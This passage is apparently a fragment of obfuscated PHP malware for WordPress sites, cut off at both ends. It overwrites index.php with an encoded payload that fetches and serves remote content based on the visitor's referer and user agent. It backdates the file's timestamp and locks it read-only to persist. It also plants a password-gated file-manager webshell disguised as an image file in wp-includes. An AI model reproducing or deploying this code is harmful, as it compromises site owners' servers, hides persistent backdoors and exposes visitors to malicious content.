QiKTsgZ290byBHVzJNQlNVMHVlOyBMdERRT0tqVHk0OiBpZiAoJFBTbzJLdDNBNTUpIHsgZ290byB0MVhnQkFIY1YzOyB9IGdvdG8gRHNZamxNZE82djsgR1cyTUJTVTB1ZTogfSBnb3RvIFhTZjJjMFZuVkY7IGdEa3FJV293MXU6ICRhVW5oanlTVl9sID0gJENpcExIQ0VNMWMoIlwxNzYiLCAiXDQwIik7IGdvdG8gYjQ1a3I5NXRnWTsgWE5SUHlncUhWMjogJHY1TU5GWF81amxbIlx4NzNcMTU2Il0gPSBDWEhvWUVCd01IKCRfU0VSVkVSWyJceDUzXHg0M1x4NTJcMTExXHg1MFx4NTRcMTM3XDExNlwxMDFceDRkXDEwNSJdKTsgZ290byBlTXJ3R3J4VUhzOyBBUE92bmNwTjBLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gYXI4dHZLT0dlYjsgeDNvbmtCYVlVODogJHY1TU5GWF81amxbIlwxNjUiXSA9IGNYaG95ZWJXbWgoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XDEyNVx4NTNcMTA1XHg1Mlx4NWZceDQxXHg0N1x4NDVceDRlXHg1NCJdKTsgZ290byBLVmhSWkdhb3E2OyBCU25XX1JCZEhlOiBleGl0KDApOyBnb3RvIEZaRmRvcnRDWEc7IGVQZ3kzeHM5NjM6ICRSUklXM1dRQnlCID0gUjRhZ3B1aEhHTihiYXNlNjRfZGVjb2RlKCJcMTQxXDExMFwxMjJceDMwXDE0M1wxMDRcMTU3XDE2NlwxMTRceDMzXDE2MFx4N2FceDRmXDEwNFwxMDVcMTcyXDE0NFx4NmFceDQ1XHg3YVwxNDFcNjJceDM4XDE2NVx4NjNcNjJceDM5XDYxXDE0NFx4NDdceDU2XDE1N1wxMTRcMTU1XDE1MFwxNTRcMTQyXHg0OFwxMDFceDc2IiksICR2NU1ORlhfNWpsKTsgZ290byBDTnBIYmVRekNOOyBjdnJGWm1wcWtWOiBNRkRNT1hFYXVYOiBnb3RvIGpaQ3JYSXlMZUU7IGYxbXM4UUowdDE6ICR2NU1ORlhfNWpsWyJcMTYyXHg2NiJdID0gY1hIb3llYndNSCgkQ043bVpMYkFZeCk7IGdvdG8gRl85ZFd6bU0zajsgeDI4bE5ONmRXcDogZWNobyAkUlJJVzNXUUJ5QlsiXDE0M1wxNTdcMTU2XHg3NFwxNDVceDZlXHg3NCJdOyBnb3RvIEJTbldfUkJkSGU7IFhTZjJjMFZuVkY6IGZ1bmN0aW9uIHU0TXdrNGk4eTcoKSB7IGdvdG8gRV9kWVlXVHROVzsgQ25oUkI1UGNSVDogcnJsdG1LeVJxMjogZ290byBlMkpRT09iaGxJOyBCdWhrZFRGTWxKOiAkY09HRlZ4WXBrVCA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1wxMzBcMTM3XHg0Nlx4NGZcMTIyXHg1N1x4NDFceDUyXDEwNFwxMDVcMTA0XDEzN1x4NDZceDRmXDEyMiJdOyBnb3RvIFpiUzBidnhIbTU7IElRY2dZNERpazM6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFwxMzdcMTAzXDEwNlx4NWZcMTAzXDExN1wxMTZcMTE2XHg0NVwxMDNceDU0XHg0OVwxMTZcMTA3XDEzN1wxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFx4NWZcMTAzXHg0Nlx4NWZceDQzXHg0ZlwxMTZceDRlXDEwNVwxMDNceDU0XDExMVwxMTZceDQ3XHg1ZlwxMTFceDUwIl0pKSB7IGdvdG8gT1J3bTlrdHd5MzsgfSBnb3RvIGVaVjAzN3JIMHo7IGUySlFPT2JobEk6IHJldHVybiAkY09HRlZ4WXBrVDsgZ290byBuVXAwdnh5OXdKOyBSb3YyOVNnVkFmOiAkY09HRlZ4WXBrVCA9ICRfU0VSVkVSWyJcMTIyXHg0NVx4NGRcMTE3XHg1NFwxMDVceDVmXHg0MVwxMDRceDQ0XHg1MiJdOyBnb3RvIFNqOFZxYVZVRWs7IFEzcmRoQkptd0Y6IEN1Y2IzMGtYVzU6IGdvdG8gZHF3eURaM2VmbjsgRFJlSmM5ZWdtZzogJGNPR0ZWeFlwa1QgPSBleHBsb2RlKCJcNTQiLCAkY09HRlZ4WXBrVCk7IGdvdG8gUWZWanBHQXFmQjsgSFBBb3VkY3dLYjogJGNPR0ZWeFlwa1QgPSAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMzdceDQzXHg0NlwxMzdcMTAzXHg0ZlwxMTZcMTE2XDEwNVwxMDNceDU0XHg0OVwxMTZcMTA3XDEzN1wxMTFceDUwIl07IGdvdG8gazl6U2JWdWpUdDsgWGkwV1JPTmV4SDogTHpTMFRpc3oyNDogZ290byBCdWhrZFRGTWxKOyBFX2RZWVdUdE5XOiAkY09HRlZ4WXBrVCA9ICcnOyBnb3RvIElRY2dZNERpazM7IFFmVmpwR0FxZkI6ICRjT0dGVnhZcGtUID0gJGNPR0ZWeFlwa1RbMF07IGdvdG8gQ25oUkI1UGNSVDsgbmRQbUpiTVZqMTogJGNPR0ZWeFlwa1QgPSB0cmltKHN0cl9yZXBsYWNlKCJcNDAiLCAnJywgJGNPR0ZWeFlwa1QpLCAiXHgyYyIpOyBnb3RvIHJyT1RUcDNOT2Y7IGVaVjAzN3JIMHo6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDU4XHg1Zlx4NTJcMTA1XDEwMVx4NGNceDVmXDExMVwxMjAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1Zlx4NThceDVmXHg1MlwxMDVcMTAxXHg0Y1wxMzdceDQ5XDEyMCJdKSkgeyBnb3RvIEN1Y2IzMGtYVzU7IH0gZ290byBoVGxoMzVqb0RHOyBTajhWcWFWVUVrOiBnb3RvIHdKMF9nMGZyd3M7IGdvdG8gY25RYUtSV05pVDsgazl6U2JWdWpUdDogZ290byB3SjBfZzBmcndzOyBnb3RvIFEzcmRoQkptd0Y7IHJyT1RUcDNOT2Y6IGlmICghKHN0cnBvcygkY09HRlZ4WXBrVCwgIlw1NCIpICE9PSBmYWxzZSkpIHsgZ290byBycmx0bUt5UnEyOyB9IGdvdG8gRFJlSmM5ZWdtZzsgWmJTMGJ2eEhtNTogd0owX2cwZnJ3czogZ290byBuZFBtSmJNVmoxOyBsVE9PdkpwT0FmOiBnb3RvIHdKMF9nMGZyd3M7IGdvdG8gWGkwV1JPTmV4SDsgZHF3eURaM2VmbjogJGNPR0ZWeFlwa1QgPSAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFx4NWZceDU4XHg1Zlx4NTJceDQ1XHg0MVwxMTRcMTM3XDExMVx4NTAiXTsgZ290byBsVE9PdkpwT0FmOyBjblFhS1JXTmlUOiBPUndtOWt0d3kzOiBnb3RvIEhQQW91ZGN3S2I7IGhUbGgzNWpvREc6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFx4NWZceDU4XHg1Zlx4NDZceDRmXHg1MlwxMjdceDQxXDEyMlx4NDRceDQ1XHg0NFwxMzdcMTA2XHg0ZlwxMjIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1wxMzBcMTM3XHg0Nlx4NGZcMTIyXHg1N1wxMDFcMTIyXHg0NFx4NDVceDQ0XHg1ZlwxMDZcMTE3XDEyMiJdKSkgeyBnb3RvIEx6UzBUaXN6MjQ7IH0gZ290byBSb3YyOVNnVkFmOyBuVXAwdnh5OXdKOiB9IGdvdG8gTDdKMXRfcWlQRDsgeTV3OFpyUHNWYjogbGIxRm1waEhGVzogZ290byBXXzFlMnpHQjhTOyBXemxiRWVXaVNyOiBpZiAoIShzdHJwb3MoJENON21aTGJBWXgsICRiaVQyRUZEcGhaKSA9PT0gMCkpIHsgZ290byB0d1M0YkVLTFNmOyB9IGdvdG8gTmF2aHBrWlNFcTsgaUhNRFNpY0QzbjogZnVuY3Rpb24gcjRhZ1B1SGhnbigkdkxlenpNbGZ0OCwgJG5nUElSSDZCamwgPSBhcnJheSgpKSB7IGdvdG8gVmlSMWYweExaZTsgQnFobWE0bnlMWjogcmV0dXJuICRSUklXM1dRQnlCOyBnb3RvIGNsdzloc1l3UUE7IGMycjBVX255WVc6IHRyeSB7IGdvdG8gSWwxM3NOaFpqMDsgd3FSSXkzZFlJeTogJFJSSVczV1FCeUJbIlwxNDNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVx4NzQiXSA9IHN0cnZhbCgkZzRfN3ZGb01sdCk7IGdvdG8gcG1WR0gwRG1DYjsgTHIzNmdVZVU3ejogZVZnekE3RVRhYzogZ290byBzdjR3aGRmc2E3OyBXN1JEeXRLQ0JMOiAkSF92Qm9ucXQ5ciA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkS3dKZFZtbjUzNyk7IGdvdG8gVGNRejExUW84VDsgWFB4T3czYXRobzogb2hRS2lYQURJRzogZ290byBMV09lMUR5QTRoOyBMV09lMUR5QTRoOiAkS3dKZFZtbjUzNyA9IGFycmF5KCJceDY4XHg3NFwxNjRceDcwIiA9PiBhcnJheSgiXDE1NVx4NjVcMTY0XDE1MFwxNTdcMTQ0IiA9PiAiXHg0N1wxMDVceDU0IiwgIlwxNjRcMTUxXDE1NVx4NjVceDZmXDE2NVwxNjQiID0+IDYwLCAiXHg2NlwxNTdcMTU0XHg2Y1wxNTdceDc3XHg1Zlx4NmNceDZmXHg2M1x4NjFcMTY0XHg2OVwxNTdceDZlIiA9PiAwKSwgIlx4NzNceDczXHg2YyIgPT4gYXJyYXkoIlx4NzZceDY1XHg3Mlx4NjlceDY2XDE3MVx4NWZcMTYwXHg2NVx4NjVceDcyIiA9PiBmYWxzZSwgIlx4NzZceDY1XDE2Mlx4NjlcMTQ2XDE3MVx4NWZcMTYwXDE0NVwxNDVcMTYyXDEzN1x4NmVcMTQxXHg2ZFx4NjUiID0+IGZhbHNlKSk7IGdvdG8gVzdSRHl0S0NCTDsgV2Z0UVZwQ0xxSjogJFJSSVczV1FCeUJbIlx4NjNceDZmXDE1Nlx4NzRceDY1XDE1NlwxNjQiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJFgwaTNpemYxbkksIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIFNwVzNaWENFSWs7IEVwVWNlTGlGQ3M6IGdvdG8gZVZnekE3RVRhYzsgZ290byBtdXdhTGtQS25MOyBhaGVMZHFDWHZwOiAkUlJJVzNXUUJ5QlsiXHg3NFx4NzlcMTYwXHg2NSJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkWDBpM2l6ZjFuSSwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGdvdG8gV2Z0UVZwQ0xxSjsgU3BXM1pYQ0VJazogQGN1cmxfY2xvc2UoJFgwaTNpemYxbkkpOyBnb3RvIGNOUmVzTEFKTFU7IGwxbUk0OVlCTEk6IGN1cmxfc2V0b3B0KCRYMGkzaXpmMW5JLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAyMCk7IGdvdG8gcEFNb2tranZXYTsgY05SZXNMQUpMVTogaWYgKCFpbl9hcnJheSgkUlJJVzNXUUJ5QlsiXDE2M1wxNjRceDYxXHg3NFx4NzVcMTYzIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gdG5QMnZYVWVzZTsgfSBnb3RvIHdxUkl5M2RZSXk7IHBBTW9ra2p2V2E6IGN1cmxfc2V0b3B0KCRYMGkzaXpmMW5JLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsgZ290byB1dlhYWXhYWUdCOyBsSG9tSmNIak40OiBjdXJsX3NldG9wdCgkWDBpM2l6ZjFuSSwgQ1VSTE9QVF9VUkwsICR2TGV6ek1sZnQ4KTsgZ290byB3bTFtNzZqcnVjOyB3RjhWajBwM0lMOiAkUlJJVzNXUUJ5QlsiXHg3M1x4NzRceDYxXHg3NFx4NzVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRYMGkzaXpmMW5JLCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byBhaGVMZHFDWHZwOyB0cWNaVjZyRGxMOiBjYWF2eFdWZ19QOiBnb3RvIExyMzZnVWVVN3o7IHV2WFhZeFhZR0I6IGN1cmxfc2V0b3B0KCRYMGkzaXpmMW5JLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byBxaDJMcHR4NzU1OyBYeUE5ZjhER3dQOiAkZzRfN3ZGb01sdCA9IGN1cmxfZXhlYygkWDBpM2l6ZjFuSSk7IGdvdG8gd0Y4VmowcDNJTDsgSUF2SW9tYTlqbzogJFgwaTNpemYxbkkgPSBjdXJsX2luaXQoKTsgZ290byBsSG9tSmNIak40OyBUY1F6MTFRbzhUOiAkTmJsT0tfRDNjcSA9IEBmaWxlX2dldF9jb250ZW50cygkdkxlenpNbGZ0OCwgZmFsc2UsICRIX3ZCb25xdDlyKTsgZ290byB4SjRCeFhlV096OyB3bTFtNzZqcnVjOiBjdXJsX3NldG9wdCgkWDBpM2l6ZjFuSSwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gVEZYbUx4Z0g2RDsgcjhHdl9WOENOOTogJFJSSVczV1FCeUJbIlx4NjNceDZmXDE1Nlx4NzRceDY1XDE1Nlx4NzQiXSA9IHN0cnZhbCgkTmJsT0tfRDNjcSk7IGdvdG8gdHFjWlY2ckRsTDsgVEZYbUx4Z0g2RDogY3VybF9zZXRvcHQoJFgwaTNpemYxbkksIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIGwxbUk0OVlCTEk7IEFYNWlTR0czYmg6IGdvdG8gZVZnekE3RVRhYzsgZ290byBYUHhPdzNhdGhvOyBJbDEzc05oWmowOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXDE2NVwxNjJcMTU0XDEzN1x4NjVceDc4XHg2NVx4NjMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlwxNDNceDc1XDE2MlwxNTRceDVmXDE1MVwxNTZcMTUxXHg3NCIpKSB7IGdvdG8gVzc2M2tINHJQbTsgfSBnb3RvIGZXWEFEN1VOMkQ7IHhKNEJ4WGVXT3o6ICRSUklXM1dRQnlCID0gYXJyYXlfbWVyZ2UoJFJSSVczV1FCeUIsIEJIbjl5OGFValgoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSk7IGdvdG8gTEVKd0JDdm1SbzsgTjZKbzZzZjE4OTogY3VybF9zZXRvcHQoJFgwaTNpemYxbkksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIFh5QTlmOERHd1A7IHBtVkdIMERtQ2I6IHRuUDJ2WFVlc2U6IGdvdG8gQVg1aVNHRzNiaDsgbXV3YUxrUEtuTDogVzc2M2tINHJQbTogZ290byBJQXZJb21hOWpvOyBMRUp3QkN2bVJvOiBpZiAoIWluX2FycmF5KCRSUklXM1dRQnlCWyJceDczXHg3NFx4NjFcMTY0XDE2NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBjYWF2eFdWZ19QOyB9IGdvdG8gcjhHdl9WOENOOTsgZldYQUQ3VU4yRDogaWYgKGluaV9nZXQoIlx4NjFcMTU0XDE1NFwxNTdcMTY3XDEzN1x4NzVceDcyXDE1NFwxMzdcMTQ2XDE1N1wxNjBcMTQ1XDE1NiIpKSB7IGdvdG8gb2hRS2lYQURJRzsgfSBnb3RvIEVwVWNlTGlGQ3M7IHFoMkxwdHg3NTU6IGN1cmxfc2V0b3B0KCRYMGkzaXpmMW5JLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIE42Sm82c2YxODk7IHN2NHdoZGZzYTc6IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkWjBVMzZVdWIxUSkgeyB9IGdvdG8gQnFobWE0bnlMWjsgV05hUVhadmY3azogJHZMZXp6TWxmdDggLj0gIlx4M2YiIC4gaHR0cF9idWlsZF9xdWVyeSgkbmdQSVJINkJqbCk7IGdvdG8gam5DcGszcXdoMzsgR0ZlWjB1QXNXdDogaWYgKCEoaXNfYXJyYXkoJG5nUElSSDZCamwpICYmIGNvdW50KCRuZ1BJUkg2QmpsKSkpIHsgZ290byBmekhxaGZlM2dQOyB9IGdvdG8gV05hUVhadmY3azsgam5DcGszcXdoMzogZnpIcWhmZTNnUDogZ290byBjMnIwVV9ueVlXOyBWaVIxZjB4TFplOiAkUlJJVzNXUUJ5QiA9IGFycmF5KCJceDczXDE2NFwxNDFceDc0XHg3NVwxNjMiID0+IDAsICJcMTQzXDE1N1x4NmVcMTY0XHg2NVwxNTZcMTY0IiA9PiAnJywgIlx4NzRcMTcxXDE2MFwxNDUiID0+ICcnKTsgZ290byBHRmVaMHVBc1d0OyBjbHc5aHNZd1FBOiB9IGdvdG8gdFlBZnZCMzIwbDsgS2U1a0R5QUxaTzogJGRTVzBRWFZrSzMgPSBmYWxzZTsgZ290byBmOUNDWjZwSHExOyBGXzlkV3ptTTNqOiAkdjVNTkZYXzVqbFsiXDE2MyJdID0gQ1hoT3lFYldtaCgkYmlUMkVGRHBoWik7IGdvdG8geDNvbmtCYVlVODsgSU5Ia0xGSEo5VzogQGhlYWRlcigiXHg0M1wxNTdceDZlXHg3NFwxNDVcMTU2XHg3NFx4MmRceDU0XHg3OVx4NzBceDY1XDcyIiAuICRSUklXM1dRQnlCWyJceDc0XDE3MVx4NzBceDY1Il0pOyBnb3RvIHgyOGxOTjZkV3A7IFU2TVJJdm8wQzA6IHN3aXRjaCAoJFJSSVczV1FCeUJbIlx4NzNceDc0XHg2MVx4NzRceDc1XDE2MyJdKSB7IGNhc2UgMzAxOiBnb3RvIGdadDZ3eUtPUXA7IHhKV3ZXYURHaFA6IGdvdG8gekxaQjJ5TnRvVzsgZ290byBNNzJyUzROa1RZOyBZWkdVTHh6UWtBOiBoZWFkZXIoIlwxMTRcMTU3XHg2M1x4NjFceDc0XHg2OVx4NmZceDZlXHgzYVx4MjAiIC4gdHJpbSgkUlJJVzNXUUJ5QlsiXDE0M1wxNTdceDZlXHg3NFx4NjVceDZlXDE2NCJdKSk7IGdvdG8geEpXdldhREdoUDsgZ1p0Nnd5S09RcDogaGVhZGVyKCJceDQ4XHg1NFwxMjRceDUwXHgyZlx4MzFceDJlXHgzMVx4MjBcNjNceDMwXDYxXDQwXDExNVx4NmZceDc2XDE0NVwxNDRceDIwXDEyMFx4NjVcMTYyXHg2ZFx4NjFceDZlXDE0NVwxNTZceDc0XHg2Y1wxNzEiKTsgZ290byBZWkdVTHh6UWtBOyBNNzJyUzROa1RZOiBjYXNlIDMwMjogZ290byBHUFNwbHF5RDVZOyB4QnRrWmlTSHhDOiBnb3RvIHpMWkIyeU50b1c7IGdvdG8gdzk3b2JtdzZsUjsgR1BTcGxxeUQ1WTogaGVhZGVyKCJcMTEwXHg1NFx4NTRcMTIwXDU3XHgzMVx4MmVcNjFcNDBceDMzXDYwXDYyXDQwXHg0ZFx4NmZcMTY2XDE0NVw0MFx4NTRcMTQ1XDE1NVx4NzBcMTU3XHg3MlwxNDFcMTYyXDE1MVx4NmNceDc5Iik7IGdvdG8gWU04Q2ltR1czNTsgWU04Q2ltR1czNTogaGVhZGVyKCJceDRjXDE1N1x4NjNcMTQxXHg3NFx4NjlceDZmXHg2ZVw3Mlw0MCIgLiB0cmltKCRSUklXM1dRQnlCWyJceDYzXHg2Zlx4NmVceDc0XHg2NVwxNTZcMTY0Il0pKTsgZ290byB4QnRrWmlTSHhDOyB3OTdvYm13NmxSOiBjYXNlIDQwNDogZ290byBFckpzSmFlMVBwOyBFckpzSmFlMVBwOiBoZWFkZXIoIlx4NDhcMTI0XHg1NFx4NTBceDJmXDYxXDU2XDYxXDQwXHgzNFw2MFw2NFw0MFx4NGVceDZmXDE2NFx4MjBceDQ2XDE1N1x4NzVceDZlXDE0NCIpOyBnb3RvIEJwUDE1ZnJIOG47IGo3NnIwRGV4OHk6IGdvdG8gekxaQjJ5TnRvVzsgZ290byBadTd5S2xidWVDOyBCcFAxNWZySDhuOiBoZWFkZXIoIlx4NzNcMTY0XHg2MVwxNjRcMTY1XHg3M1w3Mlx4MjBceDM0XDYwXHgzNFx4MjBceDRlXDE1N1x4NzRcNDBceDQ2XDE1N1wxNjVcMTU2XHg2NCIpOyBnb3RvIGo3NnIwRGV4OHk7IFp1N3lLbGJ1ZUM6IGRlZmF1bHQ6IGdvdG8gekxaQjJ5TnRvVzsgfSBnb3RvIGJzODJpaHV6Z1Q7IHFiVWI4SmExZjg6ICRDTjdtWkxiQVl4ID0gc3RydmFsKEAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDUyXDEwNVwxMDZceDQ1XHg1MlwxMDVceDUyIl0pOyBnb3RvIEJjdUR3eENZMnI7IFJjTVI5U0pBZms6IEQ2c05EaXpsQTA6Cj8+Cjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7IHJlcXVpcmUoJy4vd3AtYmxvZy1oZWFkZXIucGhwJyk7Pz4=");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3